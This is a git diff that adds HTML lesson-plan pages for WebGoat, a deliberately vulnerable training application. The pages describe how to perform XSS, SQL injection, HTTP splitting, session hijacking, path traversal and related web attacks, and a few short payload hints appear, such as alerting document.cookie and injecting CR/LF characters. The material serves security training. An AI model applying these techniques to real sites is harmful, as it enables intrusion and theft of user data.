+ + diff --git a/main/project/WebContent/lesson_plans/CrossSiteScripting.html b/main/project/WebContent/lesson_plans/CrossSiteScripting.html new file mode 100644 index 000000000..1d2848f3c --- /dev/null +++ b/main/project/WebContent/lesson_plans/CrossSiteScripting.html @@ -0,0 +1,12 @@ +
+

Lesson Plan Title: How to Perform Cross Site Scripting (XSS)

+
+

Concept / Topic To Teach:

+ +It is always a good practice to scrub all inputs, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere. Users should not be able to create message content that could cause another user to load an undesirable page or undesirable content when the user's message is retrieved.
+XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it. + +

General Goal(s):

+For this exercise, you will perform stored and reflected XSS attacks. You will also implement code changes in the web application to defeat these attacks. +
+ diff --git a/main/project/WebContent/lesson_plans/DBCrossSiteScripting.html b/main/project/WebContent/lesson_plans/DBCrossSiteScripting.html new file mode 100755 index 000000000..a54fd9ab9 --- /dev/null +++ b/main/project/WebContent/lesson_plans/DBCrossSiteScripting.html @@ -0,0 +1,24 @@ +
+

Lesson Plan Title: How to Perform Cross Site Scripting +(XSS)

+
+

Concept / Topic To Teach:

+ +It is always a good practice to scrub all inputs, especially those +inputs that will later be used as parameters to OS commands, scripts, +and database queries. It is particularly important for content that will +be permanently stored somewhere. Users should not be able to create +message content that could cause another user to load an undesirable +page or undesirable content when the user's message is retrieved. +
+XSS can also occur when unvalidated user input is used in an HTTP +response. In a reflected XSS attack, an attacker can craft a URL with +the attack script and post it to another website, email it, or otherwise +get a victim to click on it. + +

General Goal(s):

+For this exercise, you will perform a stored XSS attack. +You will also implement code changes in the database to defeat +these attacks. +
+ diff --git a/main/project/WebContent/lesson_plans/DBSQLInjection.html b/main/project/WebContent/lesson_plans/DBSQLInjection.html new file mode 100755 index 000000000..879a1b92e --- /dev/null +++ b/main/project/WebContent/lesson_plans/DBSQLInjection.html @@ -0,0 +1,16 @@ +
+

Lesson Plan Title: How to Perform SQL Injection

+
+

Concept / Topic To Teach:

+ +It is always a good practice to scrub all inputs, especially those +inputs that will later be used as parameters to OS commands, scripts, +and database queries. Users should not be able to alter the intent of +commands that are executed on the server, in many cases as a privileged user. + +

General Goal(s):

+For this exercise, you will perform a SQL Injection attack. +You will also implement code changes in the database to defeat +these attacks. +
+ diff --git a/main/project/WebContent/lesson_plans/DOMInjection.html b/main/project/WebContent/lesson_plans/DOMInjection.html new file mode 100644 index 000000000..19c19ee0b --- /dev/null +++ b/main/project/WebContent/lesson_plans/DOMInjection.html @@ -0,0 +1,23 @@ +
+

Lesson Plan Title: How to Perform DOM Injection Attack.

+
+ +

Concept / Topic To Teach:

+How to perform DOM injection attacks. +
+
+

+How the attacks works: +

+Some applications specially the ones that uses AJAX manipulates and updates the DOM +directly using javascript, DHTML and eval() method.
+An attacker may take advantage of that by intercepting the reply and try to inject some +javascript commands to exploit his attacks. +
+

General Goal(s):

+ +* Your victim is a system that takes an activation key to allow you to use it.
+* Your goal should be to try to get to enable the activate button.
+* Take some time to see the HTML source in order to understand how the key validation process works.
+ + diff --git a/main/project/WebContent/lesson_plans/DOMXSS.html b/main/project/WebContent/lesson_plans/DOMXSS.html new file mode 100644 index 000000000..fb7008727 --- /dev/null +++ b/main/project/WebContent/lesson_plans/DOMXSS.html @@ -0,0 +1,15 @@ +
+

Lesson Plan Title: DOM Based Cross Site Scripting (XSS)

+
+

Concept / Topic To Teach:

+ +The Document Object Model (DOM) presents an interesting problem from +a security standpoint. It allows the content of a web page to be dynamically +modified, but that can be abused by attackers during a malicious code injection. XSS, +a type of malicious code injection, can occur when unvalidated user input is used directly +to modify the content of a page on the client side. + +

General Goal(s):

+For this exercise, your mission is to use this vulnerability to inject +malicious code into the DOM. Then in the last stage, you will correct +the flaws in the code to address the vulnerability. \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/DOS_Login.html b/main/project/WebContent/lesson_plans/DOS_Login.html new file mode 100644 index 000000000..941a89b49 --- /dev/null +++ b/main/project/WebContent/lesson_plans/DOS_Login.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: Denial of Service from Multiple Logins

+
+

Concept / Topic To Teach:

+ +Denial of service attacks are a major issue in web applications. If the end user cannot conduct business or perform the service offered by the web application, then both time and money is wasted. +

General Goal(s):

+This site allows a user to login multiple times. This site has a database connection pool that allows 2 connections. You must obtain a list of valid users and create a total of 3 logins. + \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/DangerousEval.html b/main/project/WebContent/lesson_plans/DangerousEval.html new file mode 100644 index 000000000..f6190530c --- /dev/null +++ b/main/project/WebContent/lesson_plans/DangerousEval.html @@ -0,0 +1,14 @@ +
+

Lesson Plan Title: Dangerous Use of Eval

+
+

Concept / Topic To Teach:

+ +It is always a good practice to validate all input on the server side. XSS can occur +when unvalidated user input is reflected directly into an HTTP response. In this lesson, unvalidated +user-supplied data is used in conjunction with a Javascript eval() call. In a reflected +XSS attack, an attacker can craft a URL with the attack script and store it on another +website, email it, or otherwise trick a victim into clicking on it. + +

General Goal(s):

+For this exercise, your mission is to come up with some input which, when run through eval, +will execute a malicious script. In order to pass this lesson, you must 'alert()' document.cookie. \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/Encoding.html b/main/project/WebContent/lesson_plans/Encoding.html new file mode 100644 index 000000000..fcba2ddac --- /dev/null +++ b/main/project/WebContent/lesson_plans/Encoding.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: How to Peform Basic Encoding

+
+

Concept / Topic To Teach:

+ +Different encoding schemes can be used in web applications for different reasons. + +

General Goal(s):

+This lesson will familiarize the user with different encoding schemes. \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/FailOpenAuthentication.html b/main/project/WebContent/lesson_plans/FailOpenAuthentication.html new file mode 100644 index 000000000..27a82e2cf --- /dev/null +++ b/main/project/WebContent/lesson_plans/FailOpenAuthentication.html @@ -0,0 +1,10 @@ +
+

Lesson Plan Title: How to Bypass Fail Open Authentication

+
+ +

Concept / Topic To Teach:

+ + This lesson presents the basics for understanding the "fail open" condition regarding authentication. The security term, “fail open” describes a behavior of a verification mechanism. This is when an error (i.e. unexpected exception) occurs during a verification method causing that method to evaluate to true. This is especially dangerous during login.
+ +

General Goal(s):

+ The user should be able to bypass the authentication check. \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/ForcedBrowsing.html b/main/project/WebContent/lesson_plans/ForcedBrowsing.html new file mode 100644 index 000000000..2bf4fa6a4 --- /dev/null +++ b/main/project/WebContent/lesson_plans/ForcedBrowsing.html @@ -0,0 +1,21 @@ +
+

Lesson Plan Title: How to Perform Forced Browsing Attacks.

+
+ +

Concept / Topic To Teach:

+How to Exploit Forced Browsing. +
+
+

+How the attacks works: +

+Forced browsing is a technique used by attackers to gain access to resources that are not referenced, but are nevertheless accessible. + +One technique is to manipulate the URL in the browser by deleting sections from the end until an unprotected directory is found +
+

General Goal(s):

+ +* Your goal should be to try to guess the URL for the "config" interface.
+* The "config" URL is only available to the maintenance personnel.
+* The application doesn't check for horizontal privileges. + diff --git a/main/project/WebContent/lesson_plans/ForgotPassword.html b/main/project/WebContent/lesson_plans/ForgotPassword.html new file mode 100644 index 000000000..06b2feb2f --- /dev/null +++ b/main/project/WebContent/lesson_plans/ForgotPassword.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: How to Exploit the Forgot Password Page

+
+

Concept / Topic To Teach:

+ +Web applications frequently provide their users the ability to retrieve a forgotten password. Unfortunately, many web applications fail to implement the mechanism properly. The information required to verify the identity of the user is often overly simplistic. +

General Goal(s):

+Users can retrieve their password if they can answer the secret question properly. There is no lock-out mechanism on this 'Forgot Password' page. Your username is 'webgoat' and your favorite color is 'red'. The goal is to retrieve the password of another user. + \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/HiddenFieldTampering.html b/main/project/WebContent/lesson_plans/HiddenFieldTampering.html new file mode 100644 index 000000000..65a641fda --- /dev/null +++ b/main/project/WebContent/lesson_plans/HiddenFieldTampering.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: How to Exploit Hidden Fields

+
+

Concept / Topic To Teach:

+ +Developers will use hidden fields for tracking, login, pricing, etc.. information on a loaded page. While this is a convenient and easy mechanism for the developer, they often don't validate the information that is received from the hidden field. This lesson will teach the attacker to find and modify hidden fields to obtain a product for a price other than the price specified
+ +

General Goal(s):

+The user should be able to exploit a hidden field to obtain a product at an incorrect price. diff --git a/main/project/WebContent/lesson_plans/HtmlClues.html b/main/project/WebContent/lesson_plans/HtmlClues.html new file mode 100644 index 000000000..f3aa39f39 --- /dev/null +++ b/main/project/WebContent/lesson_plans/HtmlClues.html @@ -0,0 +1,11 @@ +
+

Lesson Plan Title: How to Discover Clues in the HTML

+
+ +

Concept / Topic To Teach:

+ + Developers are notorious for leaving statements like FIXME's, Code Broken, Hack, etc... inside the source code.  Review the source code for any comments denoting  passwords, backdoors, or something doesn't work right.  + +
+

General Goal(s):

+ The user should be able to bypass the authentication check. diff --git a/main/project/WebContent/lesson_plans/HttpBasics.html b/main/project/WebContent/lesson_plans/HttpBasics.html new file mode 100644 index 000000000..9e9bad245 --- /dev/null +++ b/main/project/WebContent/lesson_plans/HttpBasics.html @@ -0,0 +1,27 @@ +
+

Lesson Plan Title: Http Basics

+
+ +

Concept / Topic To Teach:

+ This lesson presents the basics for understanding the transfer of data between the browser and the web application.
+
+

+How HTTP works: +

+All HTTP transactions follow the same general format. Each client request and server response has three parts: the request or response line, a header section, and the entity body. The client initiates a transaction as follows:
+
+ The client contacts the server and sends a document request
+
+
+
    GET /index.html?param=value HTTP/1.0
+ Next, the client sends optional header information to inform the server of its configuration and the document formats it will accept.
+
+
    User-Agent: Mozilla/4.06 Accept: image/gif,image/jpeg, */*
+After sending the request and headers, the client may send additional data. This data is mostly used by CGI programs using the POST method.
+

General Goal(s):

+ +Enter your name in the input field below and press "go" to submit. The server will accept the request, reverse the input, and display it back to the user, illustrating the basics of handling an HTTP request. +

+The user should become familiar with the features of WebGoat by manipulating the above +buttons to view hints, show the HTTP request parameters, the HTTP request cookies, and the Java source code. + \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/HttpOnly.html b/main/project/WebContent/lesson_plans/HttpOnly.html new file mode 100644 index 000000000..535439d3c --- /dev/null +++ b/main/project/WebContent/lesson_plans/HttpOnly.html @@ -0,0 +1,25 @@ +
+

Lesson Plan Title: HttpOnly Test

+
+

Concept / Topic To Teach:

+ +To help mitigate the cross site scripting threat, Microsoft has +introduced a new cookie attribute entitled 'HttpOnly.' If this flag is +set, then the browser should not allow client-side script to access the +cookie. Since the attribute is relatively new, several browsers neglect +to handle the new attribute properly. +

General Goal(s):

+The purpose of this lesson is to test whether your browser supports the +HTTPOnly cookie flag. Note the value of the +unique2u +cookie. If your browser supports HTTPOnly, and you enable it for a +cookie, client side code should NOT be able to read OR write to that +cookie, but the browser can still send its value to the server. Some +browsers only prevent client side read access, but don't prevent write +access. +
+
+With the HTTPOnly attribute turned on, type +"javascript:alert(document.cookie)" in the browser address bar. Notice +all cookies are displayed except the unique2u cookie. + \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/HttpSplitting.html b/main/project/WebContent/lesson_plans/HttpSplitting.html new file mode 100644 index 000000000..191d1aba4 --- /dev/null +++ b/main/project/WebContent/lesson_plans/HttpSplitting.html @@ -0,0 +1,32 @@ +
+

Lesson Plan Title: How to Perform Http Splitting

+
+ +

Concept / Topic To Teach:

+ This lesson teaches how to perform HTTP Splitting attacks. +
+
+

+How the attacks works: +

+The attacker passes malicious code to the web server together with normal input. +A victim application will not be checking for CR (carriage return, also given by %0d or \r) +and LF (line feed, also given by %0a or \n)characters. These characters not only give attackers control +of the remaining headers and body of the response the application intends to send, +but also allows them to create additional responses entirely under their control.
+The effect of an HTTP Splitting attack is maximized when accompanied with a Cache Poisoning. The goal of +Cache Poisoning attack is to poison the cache of the victim by fooling the cache to believe that the page +hijacked using the HTTP splitting is a good one and it is indeed the server's copy.
+The attack happens using the HTTP Splitting attack plus adding the Last-Modified: header and setting it +to a future date. This will force the browser to send If-Modified-Since request header, which gives the attacker +the chance to intercept the server's reply and replace it with a '304 Not Modified' reply. A sample of a 304 response is:
+HTTP/1.1 304 Not Modified
+Date: Fri, 30 Dec 2005 17:32:47 GMT + +
+

General Goal(s):

+ +This lesson has two stages. Stage 1 teaches you how to do HTTP Splitting attacks while stage 2 builds on that to teach you how to elevate HTTP Splitting to Cache Poisoning.
+Enter a language for the system to search by. You will notice that the application is redirecting your request to another resource on the server. You should be able to use the CR (%0d) and LF (%0a) to exploit the attack. Your exercise should be to force the server to send a 200 OK. If the screen changed as an effect to your attack, just go back to the homepage and after stage 2 is exploited successfully you will find the green check in the left menu. + + diff --git a/main/project/WebContent/lesson_plans/JSONInjection.html b/main/project/WebContent/lesson_plans/JSONInjection.html new file mode 100644 index 000000000..4c72bd04f --- /dev/null +++ b/main/project/WebContent/lesson_plans/JSONInjection.html @@ -0,0 +1,24 @@ +
+

Lesson Plan Title: How to Perform JSON Injection

+
+ +

Concept / Topic To Teach:

+This lesson teaches how to perform JSON Injection Attacks. +
+
+

+How the attacks works: +

+JavaScript Object Notation (JSON) is a simple and effective lightweight data exchange format. JSON can be in a lot of forms such as arrays, lists, hashtables and other data structures. +JSON is widely used in AJAX and Web2.0 application and is favored by programmers over XML because of its ease of use and speed. +However, JSON, like XML is prone to Injection attacks. A malicious attacker can inject the reply from the server and inject some arbitrary values in there. + +
+

General Goal(s):

+ +* You are traveling from Boston, MA- Airport code BOS to Seattle, WA - Airport code SEA.
+* Once you enter the three digit code of the airport, an AJAX request will be executed asking for the ticket price.
+* You will notice that there are two flights available, an expensive one with no stops and another cheaper one with 2 stops.
+* Your goal is to try to get the one with no stops but for a cheaper price. + + diff --git a/main/project/WebContent/lesson_plans/JavaScriptValidation.html b/main/project/WebContent/lesson_plans/JavaScriptValidation.html new file mode 100644 index 000000000..5ea803d95 --- /dev/null +++ b/main/project/WebContent/lesson_plans/JavaScriptValidation.html @@ -0,0 +1,10 @@ +
+

Lesson Plan Title: How to Bypass Client Side JavaScript Validation

+
+

Concept / Topic To Teach:

+ +Client-side validation should not be considered a secure means of validating parameters. These validations only help reduce the amount of server processing time for normal users who do not know the format of required input. Attackers can bypass these mechanisms easily in various ways. Any client-side validation should be duplicated on the server side. This will greatly reduce the likelihood of insecure parameter values being used in the application. + +
+

General Goal(s):

+For this exercise, the web site requires that you follow certain rules when you fill out a form. The user should be able to break those rules, and send the website input that it wasn't expecting.
diff --git a/main/project/WebContent/lesson_plans/Lesson_Plan_Template.html b/main/project/WebContent/lesson_plans/Lesson_Plan_Template.html new file mode 100644 index 000000000..66293a95c --- /dev/null +++ b/main/project/WebContent/lesson_plans/Lesson_Plan_Template.html @@ -0,0 +1,17 @@ +
+

Lesson Plan Title:

+
+ +

Concept / Topic To Teach:

+

Standards Addressed:

+

General Goal(s):

+

Specific Objectives:

+

Required Materials:

+

Anticipatory Set (Lead-In):

+

Step-By-Step Procedures:

+

Plan For Independent Practice:

+

Closure (Reflect Anticipatory Set):

+

Assessment Based On Objectives:

+

Extensions (For Gifted Students):

+

Possible Connections To Other Subjects:

+ \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/LogSpoofing.html b/main/project/WebContent/lesson_plans/LogSpoofing.html new file mode 100644 index 000000000..105e38f54 --- /dev/null +++ b/main/project/WebContent/lesson_plans/LogSpoofing.html @@ -0,0 +1,20 @@ +
+

Lesson Plan Title: How to Perform Log Spoofing.

+
+ +

Concept / Topic To Teach:

+ This lesson teaches attempts to fool the human eye. +
+
+

+How the attacks works: +The attack is based on fooling the humane eye in log files. An attacker can erase his traces from the logs +using this attack. +

+
+

General Goal(s):

+ +* The grey area below represents what is going to be logged in the web server's log file.
+* Your goal is to make it like a username "admin" has succeeded into logging in.
+* Elevate your attack by adding a script to the log file. + diff --git a/main/project/WebContent/lesson_plans/NewLesson.html b/main/project/WebContent/lesson_plans/NewLesson.html new file mode 100644 index 000000000..fff75b625 --- /dev/null +++ b/main/project/WebContent/lesson_plans/NewLesson.html @@ -0,0 +1,18 @@ +
+

Lesson Plan Title: How to Add a New WebGoat Lesson

+
+ +

Concept / Topic To Teach:

+ +Adding lessons to WebGoat is very easy. If you have an idea that would be suitable
+for a new lesson, follow these few simple instructions to implement it:

+* Download the source code from here.

+* Setup framework: follow the simple instructions in "HOW TO create the WebGoat workspace.txt" that comes with the project.

+* You need to add two files for each new lesson:
+  - YourLesson.java to org.owasp.webgoat.lessons
+  - YourLesson.html to WebContent/lesson_plans

+ +
+ +

General Goal(s):

+ The user should be able to learn how to add a new lesson. diff --git a/main/project/WebContent/lesson_plans/PathBasedAccessControl.html b/main/project/WebContent/lesson_plans/PathBasedAccessControl.html new file mode 100644 index 000000000..235bd2528 --- /dev/null +++ b/main/project/WebContent/lesson_plans/PathBasedAccessControl.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: How to Bypass a Path Based Access Control Scheme

+
+

Concept / Topic To Teach:

+ +In a path based access control scheme, an attacker can traverse a path by providing relative path information. Therefore an attacker can use relative paths to access files that normally are not directly accessible by anyone, or would otherwise be denied if requested directly. + +

General Goal(s):

+The user should be able to access a file that is not in the listed directory. \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/ReflectedXSS.html b/main/project/WebContent/lesson_plans/ReflectedXSS.html new file mode 100644 index 000000000..745d3aa6d --- /dev/null +++ b/main/project/WebContent/lesson_plans/ReflectedXSS.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: How to Perform Reflected Cross Site Scripting (XSS)

+
+

Concept / Topic To Teach:

+ +It is always a good practice to validate all input on the server side. XSS can occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it. + +

General Goal(s):

+For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script and do something bad. \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/RemoteAdminFlaw.html b/main/project/WebContent/lesson_plans/RemoteAdminFlaw.html new file mode 100644 index 000000000..e852cbcba --- /dev/null +++ b/main/project/WebContent/lesson_plans/RemoteAdminFlaw.html @@ -0,0 +1,11 @@ +
+

Lesson Plan Title: How to Force Browser Web Resources

+
+

Concept / Topic To Teach:

+Applications will often have an administrative interface that allows privileged users access to functionality that normal users shouldn't see. The application server will often have an admin interface as well. +

Standards Addressed :

+

General Goal(s): + +Try to access the administrative interface for WebGoat. You may also try to access the administrative interface for Tomcat. The Tomcat admin interface can be accessed via a URL (/admin) and will not count towards the completion of this lesson. + +

diff --git a/main/project/WebContent/lesson_plans/RoleBasedAccessControl.html b/main/project/WebContent/lesson_plans/RoleBasedAccessControl.html new file mode 100644 index 000000000..132dc235f --- /dev/null +++ b/main/project/WebContent/lesson_plans/RoleBasedAccessControl.html @@ -0,0 +1,15 @@ +
+

Lesson Plan Title: Role Based Access Control

+
+

Concept / Topic To Teach:

+ +In role-based access control scheme, a role represents a set of access permissions and privileges. A user can be assigned one or more roles. A role-based access control normally consists of two parts: role permission management and role assignment. A broken role-based access control scheme might allow a user to perform accesses that are not allowed by his/her assigned roles, or somehow obtain unauthorized roles. + +

General Goal(s):

+Your goal is to explore the access control rules that govern this site. Each role has permission to certain resources (A-F). Each user is assigned one or more roles. Only the user with the [Admin] role should have access to the 'F' resources. In a successful attack, a user doesn't have the [Admin] role can access resource F. +

Lesson Resources:

+Org Chart +
+Access Control Matrix +
+Database Schema diff --git a/main/project/WebContent/lesson_plans/SameOriginPolicyProtection.html b/main/project/WebContent/lesson_plans/SameOriginPolicyProtection.html new file mode 100644 index 000000000..b7db5d10e --- /dev/null +++ b/main/project/WebContent/lesson_plans/SameOriginPolicyProtection.html @@ -0,0 +1,13 @@ +
+

Lesson Plan Title: Same Origin Policy Protection

+
+

Concept / Topic To Teach:

+ +A key element of AJAX is the XMLHttpRequest (XHR), which allows javascript to make asynchronous +calls from the client side to a server. However, as a security measure these requests may +only be made to the server from which the client page originated. + +

General Goal(s):

+This exercise demonstrates the Same Origin Policy Protection. XHR requests +can only be passed back to the originating server. Attempts to pass data to +a non-originating server will fail."; diff --git a/main/project/WebContent/lesson_plans/SilentTransactions.html b/main/project/WebContent/lesson_plans/SilentTransactions.html new file mode 100644 index 000000000..d3377dce8 --- /dev/null +++ b/main/project/WebContent/lesson_plans/SilentTransactions.html @@ -0,0 +1,24 @@ +
+

Lesson Plan Title: How to Perform Silent Transactions Attacks.

+
+ +

Concept / Topic To Teach:

+This lesson teaches how to perform silent transactions attacks. +
+
+

+How the attacks works: +

+Any system that silently processes transactions using a single submission is dangerous to the client. +For example, if a normal web application allows a simple URL submission, a preset session attack will +allow the attacker to complete a transaction without the user’s authorization. +In Ajax, it gets worse: the transaction is silent; it happens with no user feedback on the page, +so an injected attack script may be able to steal money from the client without authorization.
+
+

General Goal(s):

+ +* This is a sample internet banking application - money transfer page.
+* It shows below your balance, the account you are transferring to and amount you will transfer.
+* The application uses AJAX to submit the transaction after doing some basic client side validations.
+* Your goal is to try to bypass the user's authorization and silently execute the transaction.
+ diff --git a/main/project/WebContent/lesson_plans/SoapRequest.html b/main/project/WebContent/lesson_plans/SoapRequest.html new file mode 100644 index 000000000..1b7b6b0e4 --- /dev/null +++ b/main/project/WebContent/lesson_plans/SoapRequest.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: How to Create a SOAP Request

+
+

Concept / Topic To Teach:

+ +Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL). Let's learn something about WSDL files. Check out WebGoat's web service description language (WSDL) file. +

General Goal(s):

+Try connecting to the WSDL with a browser or Web Service tool. The URL for the web service is: http://localhost/WebGoat/services/SoapRequest The WSDL can usually be viewed by adding a ?WSDL on the end of the web service request. + \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/SqlNumericInjection.html b/main/project/WebContent/lesson_plans/SqlNumericInjection.html new file mode 100644 index 000000000..17a789ba9 --- /dev/null +++ b/main/project/WebContent/lesson_plans/SqlNumericInjection.html @@ -0,0 +1,14 @@ +
+

Lesson Plan Title: How to Perform Numeric SQL Injection

+
+ +

Concept / Topic To Teach:

+ +SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. +

+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
+
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queiries, even if the threat of SQL injection has been prevented in some other manner.
+

General Goal(s):

+The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed. + \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/SqlStringInjection.html b/main/project/WebContent/lesson_plans/SqlStringInjection.html new file mode 100644 index 000000000..32f6d4bac --- /dev/null +++ b/main/project/WebContent/lesson_plans/SqlStringInjection.html @@ -0,0 +1,14 @@ +
+

Lesson Plan Title: How to Perform String SQL Injection

+
+ +

Concept / Topic To Teach:

+ +SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. +

+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
+
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queiries, even if the threat of SQL injection has been prevented in some other manner.
+

General Goal(s):

+The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the credit card numbers being displayed. Try the user name of 'Smith'. + \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/StoredXss.html b/main/project/WebContent/lesson_plans/StoredXss.html new file mode 100644 index 000000000..e2662164f --- /dev/null +++ b/main/project/WebContent/lesson_plans/StoredXss.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: How to Perform Stored Cross Site Scripting (XSS)

+
+

Concept / Topic To Teach:

+ +It is always a good practice to scrub all input, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere in the application. Users should not be able to create message content that could cause another user to load an undesireable page or undesireable content when the user's message is retrieved. + +

General Goal(s):

+The user should be able to add message content that cause another user to load an undesireable page or content. \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/ThreadSafetyProblem.html b/main/project/WebContent/lesson_plans/ThreadSafetyProblem.html new file mode 100644 index 000000000..1b01a915d --- /dev/null +++ b/main/project/WebContent/lesson_plans/ThreadSafetyProblem.html @@ -0,0 +1,22 @@ + + + + + + Lesson Plan + + + +
+

Lesson Plan Title: How to Exploit Thread Safety Problems

+
+ +

Concept / Topic To Teach:

+ + Web applications can handle many HTTP requests simultaneously. Developers often use variables that are not thread safe.  Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads. It is often possible to exploit a concurrency bug by loading the same page as another user at the exact same time. Because all threads share the same method area, and the method area is where all class variables are stored, multiple threads can attempt to use the same class variables concurrently.
+ +

General Goal(s):

+The user should be able to exploit the concurrency error in the web application and view login information for another user that is attempting the same function at the same time. This will require the use of two browsers. +
+ + diff --git a/main/project/WebContent/lesson_plans/TraceXSS.html b/main/project/WebContent/lesson_plans/TraceXSS.html new file mode 100644 index 000000000..2358d4fc4 --- /dev/null +++ b/main/project/WebContent/lesson_plans/TraceXSS.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: How to Perform Cross Site Tracing (XST) Attacks

+
+

Concept / Topic To Teach:

+ +It is always a good practice to scrub all input, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere in the application. Users should not be able to create message content that could cause another user to load an undesireable page or undesireable content when the user's message is retrieved. +

General Goal(s):

+Tomcat is configured to support the HTTP TRACE command. Your goal is to perform a Cross Site Tracing (XST) attack. + \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/UncheckedEmail.html b/main/project/WebContent/lesson_plans/UncheckedEmail.html new file mode 100644 index 000000000..db3c630e9 --- /dev/null +++ b/main/project/WebContent/lesson_plans/UncheckedEmail.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: How to Exploit Unchecked Email

+
+

Concept / Topic To Teach:

+ +It is always a good practice to validate all inputs. Most sites allow non-authenticated users to send email to a 'friend'. This is a great mechanism for spammers to send out email using your corporate mail server. + +

General Goal(s):

+The user should be able to send and obnoxious email message. diff --git a/main/project/WebContent/lesson_plans/WSDLScanning.html b/main/project/WebContent/lesson_plans/WSDLScanning.html new file mode 100644 index 000000000..dd80ef598 --- /dev/null +++ b/main/project/WebContent/lesson_plans/WSDLScanning.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: How to Perform WSDL Scanning

+
+

Concept / Topic To Teach:

+ +Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file. +

General Goal(s):

+This screen is the API for a web service. Check the WSDL file for this web service and try to get some customer credit numbers. + \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/WeakAuthenticationCookie.html b/main/project/WebContent/lesson_plans/WeakAuthenticationCookie.html new file mode 100644 index 000000000..9dad07df8 --- /dev/null +++ b/main/project/WebContent/lesson_plans/WeakAuthenticationCookie.html @@ -0,0 +1,10 @@ +
+

Lesson Plan Title: How to Spoof an Authentication Cookie

+
+ +

Concept / Topic To Teach:

+ +Many applications will automatically log a user into their site if the right authentication cookie is specified.   Some times the cookie values can be guessed if the algorithm for generating the cookie can be obtained.  Some times the cookies are left on the client machine and can be stolen by exploiting another system vulnerability.  Some times the cookies maybe intercepted using Cross site scripting.  This lesson tries to make the student aware of authentication cookies and presents the student with a way to defeat the cookie authentication method in this lesson.
+ +

General Goal(s):

+ The user should be able to bypass the authentication check. diff --git a/main/project/WebContent/lesson_plans/WeakSessionID.html b/main/project/WebContent/lesson_plans/WeakSessionID.html new file mode 100644 index 000000000..45157e0b5 --- /dev/null +++ b/main/project/WebContent/lesson_plans/WeakSessionID.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: How to Hijack a Session

+
+

Concept / Topic To Teach:

+ +Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks. +

General Goal(s):

+Try to access an authenticated session belonging to someone else. + \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/WelcomeScreeen.html b/main/project/WebContent/lesson_plans/WelcomeScreeen.html new file mode 100644 index 000000000..be93e40e2 --- /dev/null +++ b/main/project/WebContent/lesson_plans/WelcomeScreeen.html @@ -0,0 +1,16 @@ +
+

Lesson Plan Title:Welcome

+
+

Concept / Topic To Teach:

+This lesson presents the basics for understanding the transfer of data between the browser and the web application. +

Standards Addressed:

+

General Goal(s):

+

Specific Objectives:

+

Required Materials:

+

Anticipatory Set (Lead-In):

+

Step-By-Step Procedures:

+

Plan For Independent Practice:

+

Closure (Reflect Anticipatory Set):

+

Assessment Based On Objectives:

+

Extensions (For Gifted Students):

+

Possible Connections To Other Subjects:

\ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/WsSAXInjection.html b/main/project/WebContent/lesson_plans/WsSAXInjection.html new file mode 100644 index 000000000..23a2e8607 --- /dev/null +++ b/main/project/WebContent/lesson_plans/WsSAXInjection.html @@ -0,0 +1,12 @@ +
+

Lesson Plan Title: How to Perform Web Service SAX Injection

+
+

Concept / Topic To Teach:

+ +Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file. +

General Goal(s):

